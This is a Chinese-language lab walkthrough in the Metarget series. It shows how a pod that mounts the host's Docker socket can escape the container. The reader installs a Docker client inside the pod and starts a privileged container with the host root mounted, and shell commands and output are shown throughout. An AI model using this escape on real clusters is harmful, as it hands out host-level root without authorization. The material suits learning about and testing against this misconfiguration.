玩转Metarget-0000期-挂载docker.sock导致容器逃逸

场景介绍

Docker Socket是Docker守护进程监听的Unix域套接字，用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件（/var/run/docker.sock），可通过Docker Socket与Docker守护进程通信，发送命令创建并运行一个新的容器，将宿主机的根目录挂载到新创建的容器内部，完成简单逃逸。

环境搭建

基础环境（Docker+K8s）准备（如果已经有任意版本的Docker+K8s环境则可跳过）：

```
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
```

漏洞环境准备：

```
./metarget cnv install mount-docker-sock
```

执行完成后，K8s集群内`metarget`命令空间下将会创建一个名为`mount-docker-sock`的pod。

宿主机的`/var/run/docker.sock`被挂载在容器内部。

漏洞复现

通过以下两个步骤来完成简单逃逸：

1. 在容器内安装Docker命令行客户端
2. 使用容器内的客户端通过Docker socket与Docker守护进程通信，发送命令创建并运行一个挂载宿主机根目录的容器，实现基本逃逸。

具体操作如下：

执行以下命令进入容器：

```
kubectl exec -it mount-docker-sock -n metarget bash
```

在容器内安装Docker命令行客户端：

```
先将源替换为中科大源
sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g'
/etc/apt/sources.list
apt update&& apt install -y wget
然后下载编译好的docker 客户端
wget https://download.docker.com/linux/static/stable/x86_64/docker-
17.03.0-ce.tgz
tar xf ./docker-17.03.0-ce.tgz
cd /docker
```

成功安装Docker客户端：

```
root@mount-docker-sock:/# cd /docker
root@mount-docker-sock:/docker# ls
docker  docker-containerd  docker-containerd-ctr  docker-
containerd-shim  docker-init  docker-proxy  docker-runc  dockerd
```

执行docker命令`docker ps`,结果和宿主机相同，证实docker.sock挂载成功：

```
root@mount-docker-sock:/docker# ./docker ps
CONTAINER ID        IMAGE                  COMMAND                  CREATED             STATUS              PORTS               NAMES
e6191bc4ac6a        7e0aa2d69a15           "/bin/bash -c -- '..."   2 hours ago         Up 2 hours                              k8s_ubuntu_mount-docker-sock_metarget_9c
df03e5-1627-4d5c-b4f4-cd5268a6b29a_0
4d9a97f16329        k8s.gcr.io/pause:3.1   "/pause"                 2 hours ago         Up 2 hours                              k8s_POD_mount-docker-sock_metarget_9cdf0
3e5-1627-4d5c-b4f4-cd5268a6b29a_0
9f18b4d7a75f        bf261d157914           "/coredns -conf /e..."   2 hours ago         Up 2 hours                              k8s_coredns_coredns-5644d7b6d9-dfhlk_kub
e-system_4da6a3bb-509d-4cfd-9a53-5a6287b68a99_0
6317875aced5        k8s.gcr.io/pause:3.1   "/pause"                 2 hours ago         Up 2 hours                              k8s_POD_coredns-5644d7b6d9-dfhlk_kube-sy
stem_4da6a3bb-509d-4cfd-9a53-5a6287b68a99_3
88ea70d45ff4        bf261d157914           "/coredns -conf /e..."   2 hours ago         Up 2 hours                              k8s_coredns_coredns-5644d7b6d9-z44vm_kub
e-system_ea4c56b1-a902-4bdc-b6de-ddbd71bfdd4b_0
1b25363f3783        k8s.gcr.io/pause:3.1   "/pause"                 2 hours ago         Up 2 hours                              k8s_POD_coredns-5644d7b6d9-z44vm_kube-sy
stem_ea4c56b1-a902-4bdc-b6de-ddbd71bfdd4b_1
739997b37b8d        f03a23d55e57           "/opt/bin/flanneld..."   2 hours ago         Up 2 hours                              k8s_kube-flannel_kube-flannel-ds-9dz75_k
ube-system_3267188e-0afd-4a74-9a57-14bb64d32d40_0
07f0b319b3b0        0ee1b8a3ebe0           "/usr/local/bin/ku..."   2 hours ago         Up 2 hours                              k8s_kube-proxy_kube-proxy-dld2s_kube-sys
tem_ae5885d4-3ff6-4f3d-9a29-cced522d39b7_0
78e6d01cad42        k8s.gcr.io/pause:3.1   "/pause"                 2 hours ago         Up 2 hours                              k8s_POD_kube-flannel-ds-9dz75_kube-syste
m_3267188e-0afd-4a74-9a57-14bb64d32d40_0
f031e3f00931        k8s.gcr.io/pause:3.1   "/pause"                 2 hours ago         Up 2 hours                              k8s_POD_kube-proxy-dld2s_kube-system_ae5
885d4-3ff6-4f3d-9a29-cced522d39b7_0
56e8f0eaa821        b2756210eeab           "etcd --advertise-..."   2 hours ago         Up 2 hours                              k8s_etcd_etcd-cloudplay_kube-system_7169
9bbe2bf40a0f953dec4587c603a2_0
1dde21b649dd        fc838b21afbb           "kube-apiserver --..."   2 hours ago         Up 2 hours                              k8s_kube-apiserver_kube-apiserver-cloudp
lay_kube-system_fd896a7d1a696b7508eaefc54d49f03b_0
dc59714eaa78        b4d073a9efda           "kube-scheduler --..."   2 hours ago         Up 2 hours                              k8s_kube-scheduler_kube-scheduler-cloudp
lay_kube-system_28dd1b1230fbe15350eb1b896ae9493d_0
fd6daf0feb8e        441835dd2301           "kube-controller-m..."   2 hours ago         Up 2 hours                              k8s_kube-controller-manager_kube-control
ler-manager-cloudplay_kube-system_7015601a1a3c8bbf7cc37760cb4daf35_0
6a4955411349        k8s.gcr.io/pause:3.1   "/pause"                 2 hours ago         Up 2 hours                              k8s_POD_kube-controller-manager-cloudpla
y_kube-system_7015601a1a3c8bbf7cc37760cb4daf35_0
195e5e3db995        k8s.gcr.io/pause:3.1   "/pause"                 2 hours ago         Up 2 hours                              k8s_POD_kube-apiserver-cloudplay_kube-sy
stem_fd896a7d1a696b7508eaefc54d49f03b_0
2260366ff57a        k8s.gcr.io/pause:3.1   "/pause"                 2 hours ago         Up 2 hours                              k8s_POD_etcd-cloudplay_kube-system_71699
bbe2bf40a0f953dec4587c603a2_0
afe0d426e3fd        k8s.gcr.io/pause:3.1   "/pause"                 2 hours ago         Up 2 hours                              k8s_POD_kube-scheduler-cloudplay_kube-sy
stem_28dd1b1230fbe15350eb1b896ae9493d_0
```

然后可以借此启动一个挂载宿主机根目录的特权容器，完成简单逃逸：

```
root@mount-docker-sock:/docker#./docker run -it -v /:/host --privileged --name=sock-test ubuntu /bin/bash
root@1cec1bf980fb:/# ls /host/
bin   dev  evil  initrd.img      lib    lost+found  mnt  proc  run   snap  swap.img  tmp  var      vmlinuz.old
boot  etc  home  initrd.img.old  lib64  media       opt  root  sbin  srv   sys       usr  vmlinuz  w00t_w00t_im_a_flag
root@1cec1bf980fb:/# cat /host/etc/hostname
cloudplay
```

参考文献

1. https://mp.weixin.qq.com/s/_GwGS0cVRmuWEetwMesauQ